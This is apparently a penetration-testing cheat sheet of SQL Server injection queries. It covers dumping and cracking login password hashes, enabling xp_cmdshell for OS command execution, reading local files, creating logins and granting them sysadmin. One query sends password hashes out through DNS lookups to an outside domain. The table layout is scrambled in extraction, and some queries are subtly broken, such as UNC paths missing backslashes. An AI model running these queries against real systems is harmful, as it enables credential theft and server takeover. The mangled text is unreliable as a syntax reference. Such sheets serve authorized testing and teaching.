MSSQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MSSQL databases…

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to
tabulate the data to make it easier to read and to use the same table for for each database
backend.  This helps to highlight any features which are lacking for each database, and
enumeration techniques that don’t apply and also areas that I haven’t got round to
researching yet.

Some of the queries in the table below can only be run by an admin. These are marked with
“– priv” at the end of the query.

Version SELECT @@version

SELECT 1 — comment
Comments
SELECT /*comment*/1
SELECT user_name();
SELECT system_user;
Current User
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users SELECT name FROM master..syslogins
SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM
master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return
List Password hashes in MSSQL error message / some version of query analyzer.
Hashes SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql
2005;
SELECT name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) from
master.sys.sql_logins — priv, mssql 2005
 Password MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher
Cracker can crack these.
List Privileges — current privs on a particular object in 2005, 2008
SELECT permission_name FROM master..fn_my_permissions(null,
‘DATABASE’); — current database
SELECT permission_name FROM master..fn_my_permissions(null,
‘SERVER’); — current server
SELECT permission_name FROM
master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions
on a table
SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);

–permissions on a user– current privs in 2005, 2008

 SELECT is_srvrolemember(‘sysadmin’);
SELECT is_srvrolemember(‘dbcreator’);
SELECT is_srvrolemember(‘bulkadmin’);
SELECT is_srvrolemember(‘diskadmin’);
SELECT is_srvrolemember(‘processadmin’);
SELECT is_srvrolemember(‘serveradmin’);
SELECT is_srvrolemember(‘setupadmin’);
SELECT is_srvrolemember(‘securityadmin’);

— who has a particular priv? 2005, 2008

SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? 
returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’,
‘systemadmin’ and other values from the documentation
List DBA
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1
Accounts
for true, 0 for false, NULL for invalid role/username.
SELECT name FROM master..syslogins WHERE sysadmin = ‘1’ — tested
on 2005
Current Database SELECT DB_NAME()
SELECT name FROM master..sysdatabases;
List Databases
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT name FROM syscolumns WHERE id = (SELECT id FROM
sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name,
List Columns TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id
AND master..sysobjects.name=’sometable’; — list colum names and types
for master..sometable
List Tables SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype
= ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name,
 TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id
AND master..sysobjects.name=’sometable’; — list colum names and types
for master..sometable
— NB: This example works only for the current database.  If you wan’t to
search another db, you need to specify the db name (e.g. replace sysobject
with mydb..sysobjects).
Find Tables From SELECT sysobjects.name as tablename, syscolumns.name as columnname
Column Name FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id
WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD
%’ — this lists table, column for each column containing the word
‘password’
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins
Select Nth Row
ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char SELECT substring(‘abcd’, 3, 1) — returns c
SELECT 6 & 2 — returns 2
Bitwise AND
SELECT 6 & 1 — returns 0
ASCII Value ->
SELECT char(0x41) — returns A
Char
Char -> ASCII
SELECT ascii(‘A’) – returns 65
Value
SELECT CAST(‘1’ as int);
Casting
SELECT CAST(1 as char)
String
SELECT ‘A’ + ‘B’ – returns AB
Concatenation
If Statement IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes SELECT char(65)+char(66) — returns AB
Time Delay  WAITFOR DELAY ‘0:0:5’ — pause for 5 seconds
declare @host varchar(800); select @host = name FROM
master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host +
‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800);
select @host = name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash)
Make DNS
+ ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host
Requests
+ ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed
in calls to these SPs, hence why we have to use @host.  Messy but
necessary.
— Also check out theDNS tunnel feature of sqlninja
Command EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to
Execution reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
 EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv
CREATE TABLE mydata (line varchar(8000));
Local File Access BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;
Hostname, IP
SELECT HOST_NAME()
Address
Create Users EXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop Users EXEC sp_droplogin ‘user’; — priv
Make User DBA EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
Location of DB EXEC sp_helpdb master; –location of master.mdf
files EXEC sp_helpdb pubs; –location of pubs.mdf
northwind
model
Default/System
msdb
Databases
pubs — not on sql server 2005
tempdb

Misc Tips

In no particular order, here are some suggestions from pentestmonkey readers.

From Dan Crowley:

A way to extract data via SQLi with a MySQL backend

From Jeremy Bae:

Tip about sp_helpdb – included in table above.

From Trip:
List DBAs (included in table above now):

select name from master..syslogins where sysadmin = ‘1’

From Daniele Costa:

Tips on using fn_my_permissions in 2005, 2008 – included in table above.
Also:
To check permissions on multiple database you will have to use the following pattern.

USE [DBNAME]; select permission_name FROM fn_my_permissions (NULL, ‘DATABASE’)

Note also that in case of using this data with a UNION query a collation error could occur.
In this case a simple trick is to use the following syntax:
select permission_name collate database_default FROM fn_my_permissions (NULL,
‘DATABASE’)